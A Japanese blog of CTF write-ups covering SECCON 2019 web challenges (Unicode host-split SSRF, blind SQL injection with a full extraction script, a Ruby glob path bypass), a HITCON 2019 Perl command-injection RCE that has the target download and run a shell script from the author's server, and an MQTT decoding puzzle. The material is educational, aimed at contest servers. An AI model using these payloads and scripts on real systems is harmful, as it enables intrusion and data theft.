こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON 2019 Online CTF Writeup - Web

いつものnoranecoチームではなく、心だけは若い2名と本当の若者2名で別チームを作って参加。
残念ながら決勝進出は厳しい得点だったので、12月のSECCONでは別の催し物への参加やnoraneco本隊を応援する。

Option-Cmd-U

Question

No more "View Page Source"!
http://ocu.chal.seccon.jp:10000/index.php

f:id:graneed:20191020160918p:plain

Solution

/index.php?action=sourceソースコードを閲覧可能。

<?php
if ($_GET['action'] === "source"){
    highlight_file(__FILE__);
    die();
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Option-Cmd-U</title>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css">
        <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
    </head>
    <body>
        <div class="container">                
            <section class="hero">
                <div class="hero-body">
                    <div class="container">
                        <h1 class="title has-text-centered has-text-weight-bold">
                            Option-Cmd-U
                        </h1>
                        <h2 class="subtitle has-text-centered">
                            "View Page Source" is no longer required! Let's view page source online :-)
                        </h2>
                        <form method="GET">
                            <div class="field has-addons">
                                <div class="control is-expanded">
                                    <input class="input" type="text" placeholder="URL (e.g. http://example.com)" name="url" value="<?= htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8') ?>">
                                </div>
                                <div class="control">
                                    <button class="button is-link">Submit</button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
            </section>
            <section class="section">
                <pre>
                    <!-- src of this PHP script: /index.php?action=source -->
                    <!-- the flag is in /flag.php, which permits access only from internal network :-) -->
                    <!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
                    <?php
                    if (isset($_GET['url'])){
                        $url = filter_input(INPUT_GET, 'url');
                        $parsed_url = parse_url($url);                        
                        if($parsed_url["scheme"] !== "http"){
                            // only http: should be allowed. 
                            echo 'URL should start with http!';
                        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
                            // local access to nginx from php-fpm should be blocked.
                            echo 'Oops, are you a robot or an attacker?';
                        } else {
                            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
                            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                                                               false,
                                                               stream_context_create(array(
                                                                   'http' => array(
                                                                       'follow_location' => false,
                                                                       'timeout' => 2
                                                                   )
                                                               ))));
                        }
                    }
                    ?>
                </pre>
            </section>
        </div>            
    </body>
</html>

idn_to_asciiあたりから、文字コード絡みの問題の匂いがしてくる。

BlackHat2019で発表された以下のネタが怪しい。

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization-wp.pdf

細かい説明は資料参照ということで割愛するが、

http://nginx/flag.php#:password@example.com

を入力するとフラグが得られた。なお、nginxがどこから来たかというとdocker-compose.ymlに記載されていた。

SECCON{what_a_easy_bypass_314208thg0n423g}

web_search

Question

Get a hidden message! Let's find a hidden message using the search system on the site.
http://web-search.chal.seccon.jp/

f:id:graneed:20191020161508p:plain

Solution

SQL Injectionで攻める問題。

Stage1

実行して返ってきた画面のテキストボックスを確認すると、orスペースカンマが除去されているようなので対策する。
再帰的な除去はされていないため、oorrを入力すればorを除去された結果orになる。(ややこしい言い回し
スペースについては、代わりに/**/を使用する。

定番のやつを実行する。

root@kali:/mnt/CTF/Contest/SECCON2019# curl http://web-search.chal.seccon.jp/ -G --data-urlencode "q='oorr/**/1=1#" -s
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Articles</title>
</head>
<body>

<form action="./" method="get">
    <input type="text" name="q" value="&#039;or/**/id=60#"><input type="submit" value="Search">
</form>
<dl><dt>RFC 748</dt><dd>TELNET RANDOMLY-LOSE Option</dd>(snip)<dt>FLAG</dt><dd>The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!</dd></dl>
<p>
            Prev
        /
            Next
    </p>

</body>
</html>

これで終わりではないようだ。

Stage2

Blind SQL Injectionで攻める。

以下、スクリプト

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'http://web-search.chal.seccon.jp/'
target = ""

def trace_request(req):
    print("[+] request start")
    print('{}\n{}\n\n{}'.format(
        req.method + ' ' + req.url,
        '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        req.body,
    ))
    print("[+] request end")

def trace_response(res):
    print("[+] response start")
    print('{}\n{}\n\n{}'.format(
        res.status_code,
        '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
        res.content,
    ))
    print("[+] response end")

def challenge(offset, guess):
    req = requests.Request(
        'GET',
        URL,
        params={
            #"q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(table_name) from {} for {})) from information_schema.tables where table_schema=database() limit 1)<'{}'#"
            #"q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(column_name) from {} for {})) from information_schema.columns where table_name='flag' limit 1)<'{}'#"
            "q" : "'&&(select ASCII(SUBSTRING(GROUP_CONCAT(piece) from {} for {})) from flag limit 1)<'{}'#"
            .replace("or","oorr")
            .replace(" ","/**/")
            .format(offset+1, offset + 2, guess)
        }
    )
    prepared = req.prepare()
    #trace_request(prepared)
    session = requests.Session()
    #start = time.time() # TimeBased用
    res = session.send(prepared, allow_redirects = False)
    #elapsed_time = time.time() - start # TimeBased用
    #trace_response(res)

    if "<dl></dl>Error" in res.content.decode("utf-8"):
        print("Error")
        exit(1)
    elif not "No result" in res.content.decode("utf-8"):
        return True # 取得したい文字の文字コードは予想文字の文字コードより小さい
    else:
        return False # 取得したい文字の文字コードは予想文字の文字コード以上

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)

33行目を有効、34-35行目をコメントアウトして実行してテーブル名を取得。

root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py 
[+] target: f
[+] target: fl
[+] target: fla
[+] target: flag
[+] target: flag,
[+] target: flag,a
[+] target: flag,ar
[+] target: flag,art
[+] target: flag,arti
[+] target: flag,artic
[+] target: flag,articl
[+] target: flag,article
[+] target: flag,articles
[+] target: flag,articles

34行目を有効、33,35行目をコメントアウトして実行して列名を取得。

root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py 
[+] target: p
[+] target: pi
[+] target: pie
[+] target: piec
[+] target: piece
[+] target: piece

35行目を有効、33-34行目をコメントアウトして実行してレコードを取得。

root@kali:/mnt/CTF/Contest/SECCON2019# python3 BlindSQLInjection_binary.py 
[+] target: Y
[+] target: Yo
[+] target: You
[+] target: You_
[+] target: You_W
[+] target: You_Wi
[+] target: You_Win
[+] target: You_Win_
[+] target: You_Win_Y
[+] target: You_Win_Ye
[+] target: You_Win_Yea
[+] target: You_Win_Yeah
[+] target: You_Win_Yeah}
[+] target: You_Win_Yeah}

組み合わせると以下のフラグ。

SECCON{Yeah_Sqli_Success_You_Win_Yeah}

fileserver

Question

I donno apache or nginx things well, I guess I can implement one for myself though. See? It's easy!
http://fileserver.chal.seccon.jp:9292/public/index.html

Due to maintainability, we restart the server of fileserver challenge every 5 minutes.

f:id:graneed:20191020162913p:plain

Solution

http://fileserver.chal.seccon.jp:9292/でソースを取得できる。

app.rb

require 'erb'
require 'webrick'
require 'fileutils'
require 'securerandom'

include WEBrick::HTTPStatus

FileUtils.rm_rf('/tmp/flags')
FileUtils.mkdir_p('/tmp/flags')
FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
FileUtils.rm('flag.txt')

server = WEBrick::HTTPServer.new Port: 9292

def is_bad_path(path)
  bad_char = nil

  %w(* ? [ { \\).each do |char|
    if path.include? char
      bad_char = char
      break
    end
  end

  if bad_char.nil?
    false
  else
    # check if brackets are paired
    if bad_char == ?{
      path[path.index(bad_char)..].include? ?}
    elsif bad_char == ?[
      path[path.index(bad_char)..].include? ?]
    else
      true
    end
  end
end

server.mount_proc '/' do |req, res|
  raise BadRequest if is_bad_path(req.path)

  if req.path.end_with? '/'
    if req.path.include? '.'
      raise BadRequest
    end

    files = Dir.glob(".#{req.path}*")
    res['Content-Type'] = 'text/html'
    res.body = ERB.new(File.read('index.html.erb')).result(binding)
    next
  end

  matches = Dir.glob(req.path[1..])

  if matches.empty?
    raise NotFound
  end

  begin
    file = File.open(matches.first, 'rb')
    res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
    res.body = file.read(1e6)
  rescue Errno::EISDIR => e
    res.set_redirect(MovedPermanently, req.path + '/')
  end
end

trap 'INT' do server.shutdown end

server.start

ディレクトリトラバーサルで攻める問題のようだ。

Stage1

/tmp/flags/ディレクトリ配下にあるフラグファイル名を特定する。

files = Dir.glob(".#{req.path}*")

先頭に.が付与されreq.pathは/始まりであるため、先頭は./のカレントディレクトリ指定になる。 .も使用不可のため、ディレクトリを上に辿ることができない。

リファレンスマニュアルを確認する。 docs.ruby-lang.org

p Dir.glob("f*\0b*")     # => ["foo", "bar"]

Nullバイトを挟めば、or検索ができるようだ。 これで「先頭の./ or 任意のディレクトリ」をリスティングできる。

root@kali:~# curl http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/ --output -
<!DOCTYPE html>
<meta charset="utf8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fileserver</title>
<link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css">
<section class="section">
  <div class="container">
    <h1 class="title">Index of //tmp/flags/</h1>
    <div class="list is-hoverable">
      
        <a class="list-item" href="/./">./</a>
      
        <a class="list-item" href="//tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt">/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt</a>
      
    </div>
    <hr>
    <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span>
  </div>
</section>

Stage2

ファイル名を特定できた。 次にファイルの内容を取得する。

 matches = Dir.glob(req.path[1..])

先頭1文字が除去されてしまうため、 http://localhost:9292/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txtにアクセスしても、サーバ内でtmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txtを読みに行こうとしてしまう。 http://localhost:9292//tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txtもダメ。このコードに到達するまでに自動でURLが正規化されるようだ。

よって、{hoge,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt}のように、ブラケットを使用したOR指定をする。 ただ、{}記号を使用するとis_bad_path関数で弾かれる。

is_bad_path関数には問題があり、{記号より先に[記号の有無をチェックし、[記号が存在した場合は{記号はチェックしない。 そして、相対する]記号が無ければ問題ないと判断しチェックが通る。

まとめると、{[,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt}をパスにセットすればよい。 curlで実行する場合は{}[記号はURLエンコードしておく。

root@kali:~# curl http://fileserver.chal.seccon.jp:9292/%7B%5B,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt%7D
SECCON{You_are_the_Globbin'_Slayer}

フラグゲット。

HITCON CTF 2019 Writeup - Virtual Public Network

Question

Vulnerable Point of Your Network :)
http://13.231.137.9

f:id:graneed:20191013050544p:plain

Solution

HTMLソースを表示する。

<!-- Hint for you :)
     <a href='diag.cgi'>diag.cgi</a>
     <a href='DSSafe.pm'>DSSafe.pm</a>  -->

diag.cgiは以下のとおり。

#!/usr/bin/perl
use lib '/var/www/html/';
use strict;

use CGI ();
use DSSafe;


sub tcpdump_options_syntax_check {
    my $options = shift;
    return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0;
    return undef;
}
 
print "Content-type: text/html\n\n";
 
my $options = CGI::param("options");
my $output = tcpdump_options_syntax_check($options);
 

# backdoor :)
my $tpl = CGI::param("tpl");
if (length $tpl > 0 && index($tpl, "..") == -1) {
    $tpl = "./tmp/" . $tpl . ".thtml";
    require($tpl);
}

※DSSafe.pmは大きいため省略。

テキストボックスに入力した文字列は、tcpdumpコマンドのオプションにセットされる。
また、tplパラメータを付与すると./tmp/配下のファイルをrequireで実行してくれる。 つまり、tcpdumpコマンドで./tmp/配下に実行させたいperlソースコードファイルを配備するのが攻略方法のようだ。

出題者がOrange Tsai (@orange_8361)氏なので、氏のBlogや登壇資料を確認する。

Orange: Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study! https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf

これだ。

まずはls -l /を実行させるため、-r'$x="ls -l /",system$x#' 2>./tmp/vvvvvvvv.thtml <をURLエンコードしてoptionsパラメータにセットする。

root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22ls%20%2Dl%20%2F%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"
total 96
-rwsr-sr-x   1 root root  8520 Oct 11 23:57 $READ_FLAG$
-r--------   1 root root    49 Oct 11 23:59 FLAG
drwxr-xr-x   2 root root  4096 Oct  2 17:11 bin
drwxr-xr-x   3 root root  4096 Oct  2 17:12 boot
drwxr-xr-x  15 root root  2980 Oct 11 19:41 dev
drwxr-xr-x  97 root root  4096 Oct 12 09:15 etc
drwxr-xr-x   4 root root  4096 Oct 11 17:21 home
lrwxrwxrwx   1 root root    31 Oct  2 17:12 initrd.img -> boot/initrd.img-4.15.0-1051-aws
lrwxrwxrwx   1 root root    31 Oct  2 17:12 initrd.img.old -> boot/initrd.img-4.15.0-1051-aws
drwxr-xr-x  20 root root  4096 Oct 11 22:11 lib
drwxr-xr-x   2 root root  4096 Oct  2 17:09 lib64
drwx------   2 root root 16384 Oct  2 17:11 lost+found
drwxr-xr-x   2 root root  4096 Oct  2 17:08 media
drwxr-xr-x   2 root root  4096 Oct  2 17:08 mnt
drwxr-xr-x   3 root root  4096 Oct 11 17:32 opt
dr-xr-xr-x 135 root root     0 Oct 11 19:41 proc
drwx------   5 root root  4096 Oct 12 09:16 root
drwxr-xr-x  25 root root   960 Oct 12 15:46 run
drwxr-xr-x   2 root root  4096 Oct  2 17:11 sbin
drwxr-xr-x   5 root root  4096 Oct 11 17:04 snap
drwxr-xr-x   2 root root  4096 Oct  2 17:08 srv
dr-xr-xr-x  13 root root     0 Oct 11 23:59 sys
drwxrwxrwt   3 root root  4096 Oct 12 20:13 tmp
drwxr-xr-x  10 root root  4096 Oct 11 21:45 usr
drwxr-xr-x  14 root root  4096 Oct 11 21:45 var
lrwxrwxrwx   1 root root    28 Oct  2 17:12 vmlinuz -> boot/vmlinuz-4.15.0-1051-aws
lrwxrwxrwx   1 root root    28 Oct  2 17:12 vmlinuz.old -> boot/vmlinuz-4.15.0-1051-aws

/$READ_FLAG$を実行すればよさそうだが、$記号を使用すると、DSSafe.pmの__parsecmd関数のチェックに引っかかるようだ。 そこで、/$READ_FLAG$を実行するシェルスクリプトをダウンロードさせてから、実行させる。

シェルスクリプトを用意して、ダウンロード用のWebサーバを立てる。

root@ip-172-31-26-179:~/tmp# echo '/\$READ_FLAG\$' > exec.sh
root@ip-172-31-26-179:~/tmp# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

curl myserver/exec.sh -o /tmp/exec.shを実行させる。

root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22curl%20myserver%2Fexec%2Esh%20%2Do%20%2Ftmp%2Fexec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"

sh /tmp/exec.shを実行させる。

root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22sh%20/tmp/exec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"
hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}

フラグゲット。

Syskron Security CTF Writeup - My servo drive is getting mad

Question

My servo drive sends strange parameters. Can you decode them? I have to go for lunch.

mqtt.ctf.syskron-security.com:1883

Solution

MQTTで接続するようなので、簡単な受信スクリプトを書く。

過去の問題ではMQTT over WebSocketだったが、今回は普通のMQTT。
過去のWriteupは以下。
hxp CTF 2018 Writeup - time for h4x0rpsch0rr? - こんとろーるしーこんとろーるぶい

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, respons_code):
  print('connected')
  client.subscribe('#')

def on_message(client, userdata, msg):
  print(msg.topic + ' ' + str(msg.payload))

client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect('mqtt.ctf.syskron-security.com', 1883, keepalive=60)

実行する。

(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python mqtchall.py 
connected
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'153'
servo/rpm b'147'
servo/rpm b'158'
servo/rpm b'152'
servo/rpm b'132'
servo/rpm b'151'
servo/rpm b'154'
servo/rpm b'147'
servo/rpm b'143'
servo/rpm b'160'
servo/rpm b'146'
servo/rpm b'154'
servo/rpm b'160'
servo/rpm b'207'
servo/rpm b'138'
servo/rpm b'139'
servo/rpm b'130'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
(snip)

ASCII文字になりそう。

data = "153 147 158 152 132 151 154 147 143 160 146 154 160 207 138 139 130"
decoded = ""
for i in data.split(" "):
    decoded += (chr(int(i) ^ 0xff))
print(decoded)

実行する。

(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python decode.py 
flag{help_me_0ut}